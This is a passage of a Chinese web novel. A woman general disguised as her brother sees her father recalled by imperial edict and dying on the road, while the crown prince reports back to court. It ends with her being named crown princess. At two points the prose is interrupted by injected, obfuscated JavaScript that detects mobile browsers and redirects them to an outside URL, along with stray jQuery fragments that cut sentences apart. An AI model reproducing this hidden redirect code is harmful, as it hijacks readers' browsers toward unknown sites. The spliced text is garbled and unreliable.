沈照华耸了耸肩：“没有，想从他嘴里知道点实话，难于上青天呢。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347541|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嗯。我不曾听闻顾介夫麾下有这样青年才俊，如果他只是为传信而来，安坐凤宁便是，何须屡入军营又偷渡桑台？但若不是顾氏幕僚，却能让顾介夫对我知而不报，此人身份定然不简单。” “他的身份确实是假冒的。而且他身上有一枚和田玉印，是皇室之物，他说是亡母遗物。” “皇室......”沈恪神色忽地凝重起来。 父女二人正交谈之际，门房匆匆来报，道是敕使降临。 敕使？新岭收复不足十日，圣旨便飘然而至，却是为何？ 沈照华连忙服侍沈恪穿戴官服赶去正堂听旨，不料敕使竟直接将圣旨递到了沈恪手上。 这次来的人不是官员，而是宫中内侍，而且身后还跟了位穿绿袍的太医。 “方才小人已经去军营宣过旨了，秦指挥他们说沈大将军已回了府上养病，我便一刻不停地赶来了。”敕使含笑说。 沈恪颔首应道：“老病残躯，岂敢劳动中贵人，真是惭愧。” “我都多少年不曾见大将军了，将军为国戍边十余年，乃国朝栋梁，虽鬓发微霜，但春秋鼎盛气度仍雄，大祁边事还指望着将军呢，千万要善自保养才是。” 沈恪听罢此语，略作思量：“中贵人谬赞。如今老臣病体难支，经此一役，更觉边事艰难繁重，深惧辜负浩荡天恩。” 敕使也没有立即回应，而是抬头随意一望，任由此话翩然落地。 “大将军这是说哪里话，收到凤宁新岭一连几次捷报，陛下高兴得了不得，又听说您近日身体有恙，催着赶着让我把太医带来给您诊治，这一路我们是半日也未敢耽搁。大将军一定好生调养，陛下还盼望着三军庆功之日，在京中与您叙旧呢！” 留下那份召三军功臣从速回京受封的圣旨，叮嘱完太医好生给沈恪看病，敕使便又飘然离去了。 沈恪便又回房来，展开圣旨，从头至尾，读了一遍又一遍。 可如今新岭初归，城防未修补，兵马正疲惫，岂是回京的好时候？ 沈照华方才在正堂屏风后目睹了整个经过，正要进屋与沈恪商谈，忽见徐仲明从厢房探出头来，向她招了招手。 沈照华会意走了过去。 “四娘，这事儿不妙啊。这回京的旨意来得也太快了，就算一天跑八百里，从京城到凤宁也得八九天，何况中官娇贵、太医老迈，最快也得二十几天才能到。” 徐仲明看四下无闲杂之人，于是低声道，“怕是新岭初战告捷时，圣旨就下来了。” 沈照华冷哼一声：“他们自然是心急，朝廷有些人怕是见不得我父亲掌兵守边，不然当时也不会降下申饬来。” “世叔什么打算？立刻拔营回京么？” “那还能如何，早早回去做富贵闲人，两相安稳。” 如今想来，沈恪对朝廷鸟尽弓藏之心早有预料，不然当日也不会跟她说要致仕回乡一事。 “可世叔如今这状况，哪里受得住连日颠簸？”徐仲明始终不放心沈恪的身体。 他说得不错，沈恪这身子确实扛不起一点劳累了。 “可沈家也受不住抗旨之罪。”沈照华眸光渐渐黯淡了下去，想沈家一门三代为国尽忠，如今被逼速决，又被催回京，她感到不值。 “那你兄长的事怎么交代？你这次以颂华的身份带兵收城，可谓居功至伟，难不成真要上明堂面圣？” 沈照华心中咯噔一下。 是啊，她应该何去何从呢？ 是抓紧宣布兄长的死讯，还是别作良图呢...... 11. 将星陨落 对于接下来的路该怎么走，沈照华不是没有想过，而是没敢深想。 她自打退婚远走边关，也偶尔幻想过有朝一日会封狼居胥、明堂拜将，以女子之身扛起沈家军旗，与兄长一道，成为国朝一代干城。毕竟人生在世，不能没点目标。 但理想终究是高悬于天际之物，现实横于面前的，是冷冰冰的三纲五常、三从四德。别说效仿男子建功立业了，就连当年她退婚，都不知挨了多少唾沫星子与白眼，说她连蒋家那样的门第都看不上，简直是不识抬举。 而且她这次是代兄为将，欺君铡刀已经扛在后颈了，接下来的路窄得如同天堑吊桥。 要么宣布沈颂华伤重而亡，沈照华回去再议婚姻相夫教子；要么以沈颂华的名义活下去。 显然，对于她来说，这两条路无异于吞金而亡和饮鸩止渴，前者憋闷而死，后者注定纸包不住火，哪怕是有军功抵一部分罪，流放千里总是逃不了的。 深想下去，只有一条结论，她根本没有退路。 沈照华沉思半日，反倒笑了：“明二哥，别逼我做决定了，走一步看一步吧。” 徐仲明一旁幽幽叹息：“总归有挥刀决断的那一日，拖到什么时候是个头？” 沈照华没有睬他，也没有心情再去见沈恪，转头回了房间将门一锁，上床睡起觉来。 边关烽火已熄，而风雨未止，千里之外的京师皇城，亦风云会聚。 自太子陈致化名程致，奉圣命扮做顾总兵麾下参军远赴凤宁暗中监视沈家动向，到如今重回京城，已逾两月光景。 从冻水初融的孟春到落玉飞花的暮春，经千里辗转后，他又身着朱袍玉带，复跪伏于天子御案之前。 “此番仰赖皇恩庇佑，新岭失而复得，北临遣使纳贡，臣闻讯喜不自胜，特星夜赶回为陛下贺，为大祁江山社稷贺！” 皇帝陈业垂眸看着许久未见的儿子，边翻着他从边关呈送回宫的最后一道密折边道： “自是上上喜讯，当天地同贺。太子此出玉门，不知有何长进？” 陈致略作思考，恭谨答道：“回陛下，臣此行山迢路远，屡过偏城，又途经受灾卫郡，目睹民殇，深体民生之艰、稼穑之难，也更觉前路任重而道远，而愧自己德薄而才疏。” 陈业的目光停在密折之上，并未抬起：“能勤于自省，知己不足，倒是不小的长进。不过你既途经卫郡，那里灾情如何？” “卫郡此遭春冻，确实凋敝，麦苗枯白，百姓哀戚。不过陆侍郎亲赴卫郡巡视赈灾情况，一应粮米赈济、救苗补种等事宜都办得有条不紊，偶有富户以高利出贷农具，也都被压制。臣回来时，卫郡灾情已有回转之象。” “果真如此，倒是好事。”陈业将密折归于匣内，徐徐言道，“看来这次李敬端让陆韬去盯着，是选对人了。” 听到陈业提及李敬端与陆韬，陈致默默一顿。这两人一为当权宠臣，一为贤妃亲兄，与陈业关系匪浅，不可擅议，于是掂掇了片时后答道： “李相与陆侍郎身为陛下臣子，为君分忧，焉敢不尽心竭力？而且臣此行所到之处，无不称颂圣天子仁人爱物，感念陛下于太平中休养民生，于天灾时拯救黎庶，臣为子为臣，与有荣焉。” 陈业听罢笑道：“朕看最有长进的，是你这张嘴！听顾介夫说，你这次参军的差使办得不错，交代钱粮、调送援军，都做得有模有样的。大祁建国以来不许储君离京，但依朕看，出去闯荡闯荡长些见识，总没什么亏吃。” 陈致暗暗松了口气，再次拜谢：“此番臣蒙圣恩允准秘密出京历练，昼夜不敢懈怠，唯恐辜负陛下一片圣明慈爱之心，今后更当律己修德，不让陛下失望。” “如此甚好。你一路奔波也劳累了，朕便不多拘你在此了，明德宫那儿你不必去了，还是回东宫歇息吧。七日后下朝，你来政事堂，议论沈家封赏事。” “此乃军政之事，臣不敢干预。”陈致小心答道。 陈业坐于龙椅，将身子向后一靠，说道：“无妨，届时旁立听议便是，又不叫你拿主意。” “臣谨遵圣命。” 陈致从勤德殿出来后，对着宽阔御苑在阶前暗自舒一口气。 好在没提他涉足战事甚至还亲自打仗之事，不然他有口难辩。如今总算度过一关。 一直守在殿门外的东宫少监唐近元忙跟了上来，满脸担忧地问道：“殿下，陛下没说什么吧？” 陈致边下阶，边微微晃了晃手：“没有，希望他是真的不知道。去着人把放在明德宫的行李衣物搬出来，为母后祈福结束，咱们也该回去了。” 陈致此次微服出京正值母丧十周年，为掩人耳目，对外说太子暂时搬居中宫明德宫，为生母庄懿皇后日夜诵经祝祷。 如今使命已毕，是时候回到东宫，从一个七品参军，做回国之储副了。 出大内回东宫的路上，坐在宝马轺车之上的陈致不时揭帘望望这御苑风光，雕阁绮户，金水玉路，一道道朱门高挂御匾，一重重庭院柳没花深。 二十三年来他生于斯长于斯，虽觉无趣，但从未觉得哪里不对。可他见过了落日低悬时的瀚海阑干，见过了猎猎冷风中的金戈铁马，竟觉得这静谧的高墙长街之内，有几分单调与憋闷。 但他知道，这是他一生要走的路。自那日饮尽别酒，他们都需走上各自的路。 七日后风雨如晦，政事堂中一众台阁重臣、清议文臣对如何封赏功勋卓著的沈家展开了激烈的议论。 与此同时，在从凤宁回京的路上，沈照华连日照看着病榻上疲惫虚弱的父亲，已多日不曾成眠。 自那敕使走后，沈恪坚持要立即启程，不能授人以柄，说沈家居功自傲，藐视圣命。 但是沈恪的身体已然经不住旅途风日颠簸，虽经太医用药调理，仍然咳喘剧烈不见好转，近两日又有急转直下之势。 这日暂停沿途馆驿，沈照华在客房侧室同太医一起煎药。 她一面扇着药炉的火，一面道：“曹太医，您透个底，我父亲这病到底能不能好？怎么这几日更严重了？” 曹太医正在一旁拾掇着药材，这几日她已经这样质问他好几次了。 “少将军，沈侯爷这病最忌劳累，若照这样日行百里地折腾下去，老朽也不敢说。” “是圣旨召我们速回，也是圣旨叫您老来医治，您治不好，难道是想说陛下故意不让我父亲痊愈吗？” 屡次听他如此搪塞，沈照华已经没有耐心跟他曲辞婉示了。 曹太医一身冷汗差点没吓出来： “少将军，您说这话是要置老朽于死地啊！医者已经尽力，您何必要人脑袋呢？” 沈照华斜着瞥了他一眼。若不是徐仲明要先回宿城收拾行装再行赶上，她才不乐意叫朝廷派来的人医治。 他们这样逼沈家，简直没有一个好人！ 药烟氤氲飘上梁顶，沈照华偷偷看向太医的眼神，又增了几分杀气。 午后，沈恪渐渐从迷蒙之中醒来，似是精神好些。 他把沈照华叫到榻前，徐徐叮嘱： “因为朝廷传召得急，你心疼爹爹，心里有气，我知道。但这几日你对那太医的态度，也太过冷漠，这不好。” 沈照华一急，就要反驳，可沈恪止住了她： “他只是听命行事，何必为难他。而且朝廷也不是一个人的朝廷， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347542|199542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多少人都在盯着同一桩事。朝事错综复杂，人心各有计较，不能以善恶对错论之，只是立场不同罢了。之前你可以不懂，但以后，你要学着懂些。” 虽不知沈恪为什么突然跟她说上这许多道理，但沈照华仍点应着：“我知道，世事不是非黑即白。” 道理她都懂，但事情落到自己头上时，又有几人能无怨？ 听她应着，沈恪灰黄的脸上终于露出淡淡的笑意：“如今边事已平，我也是死得其所，上不负天，下不愧民，再没什么不满的，你也不用动气。” 沈照华听到一个死字，抑制不住地着急起来：“您胡说什么呢，明二哥之前说了，那个太医的方子是有水平的，悉心调理会好的！” 沈恪轻轻摇了摇头：“死生固是大事，但早晚都会有这一日。只是你娘和哥哥走得太早了，如今我又撒手人寰，留下你和舒华两个女儿，我始终放心不下…” 沈恪又剧烈地咳起来，脸涨得通红，但仍坚持说下去，“你是姐姐，要照顾好妹妹...记住，无论何种境地，保全自身为重……” 咳喘声惊动了侧间，馆驿的仆人将药连忙端来，沈照华一面答应着沈恪，一面忍着泪亲侍汤药，直到沈恪再慢慢睡去。 其实，她每次服侍沈恪吃药的时候都想着，这一剂药吃下去一定能好，她已经失去了母亲，失去了兄长，上天不会让她再失去父亲的。 沈家三代为国尽忠，祖父官至中书，一生勤勉谨慎，伯父赈灾过劳，卒于湖广任上，父亲半生戎马，戍守边关毫无私念，而兄长...... 她坚信，苍天有眼。 可天若有情，天亦老。 多日医治，药石罔效，在太医一声沉重的叹息中，大祁甘定总督、靖远大将军、武宁侯沈恪，于他乡与世长辞。 原本喜气洋洋班师回朝的大军，在行至半途时，就变成了护灵举哀的队伍。 浩浩荡荡，十里大军，尽为大祁一代名将的陨落而哀泣。 沈恪遗命，他死后，大小将士不得挂孝，只遣一子扶灵，让他魂归故里。 当日沈照华不愿回归红妆，仍坚持以兄长名义陪沈恪入朝觐见，沈恪本不同意，但还没来得及拗过沈照华，他便溘然长逝。 六月初暑，白幡素布，人间从此无来处。 沈照华护送父亲灵柩回返临安，伴着这一路颠簸，她几乎无时不想起父母兄长在世时的音容笑貌。 抬头看日，会想起兄长教她观日辨位；低头看路，会想起父亲谈人生之路的艰难；听到风声，会想起母亲带她放风筝的快乐...... 有时她哭累了，会故意在馆驿睡到很晚才起，因为在梦里，她或因为动不动就哭鼻子而被批评，或在准备年夜饭时偷吃母亲提前做好的糕点。 至少在梦里，她还不是孤身一人。 父亲下葬时，她已经哭不出来了，她只觉得过往与眼前的一切，像一场醒不过来的幻梦。 她真的曾在母丧三年后，孤身打马入边塞么？ 她真的曾沐浴着凤宁城的晨曦与落晖，常常眺望苍茫的远山么？ 她真的曾在营帐校场，听父兄教给她阵法兵计么？ 她也真的曾在今年春日毫无顾忌地冲入军营，一日日枕戈待旦，一次次沙场浴血么…… 记忆里边地刺骨的寒风、不化的霜雪，灵堂里名号长长的牌位、哀泣的亲友——都在她的眼中模糊了。 不久后，满目白帷的临安沈宅迎来了一道圣旨。全家上下庭前跪接，神情肃穆。 那天来宣旨的大臣对着那明黄敕诏朗声宣读了很久，可她恍惚间只听清了一句话： “册封沈氏为皇太子妃。”